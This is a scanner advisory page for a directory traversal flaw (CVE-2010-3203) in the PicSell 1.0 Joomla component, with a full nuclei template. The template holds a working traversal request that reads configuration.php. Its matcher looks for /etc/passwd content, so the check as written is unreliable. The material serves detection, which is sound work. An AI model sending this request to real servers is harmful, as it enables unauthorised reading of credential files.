Joomla! Component PicSell 1.0 - Arbitrary File Retrieval

mediumseverity

5CVSS score

8.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the PicSell (com_picsell) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dflink parameter in a prevsell dwnfree action to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to retrieve arbitrary files from the server.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-3203 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-3203

info:
  name: Joomla! Component PicSell 1.0 - Arbitrary File Retrieval
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the PicSell (com_picsell) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dflink parameter in a prevsell dwnfree action to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to retrieve arbitrary files from the server.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/14845
    - https://nvd.nist.gov/vuln/detail/CVE-2010-3203
    - http://web.archive.org/web/20150105095919/http://secunia.com:80/advisories/41187/
    - http://www.exploit-db.com/exploits/14845
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-3203
    cwe-id: CWE-22
    epss-score: 0.08523
    epss-percentile: 0.95091
    cpe: cpe:2.3:a:xmlswf:com_picsell:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xmlswf
    product: com_picsell
  tags: cve,cve2010,edb,joomla,lfi,xmlswf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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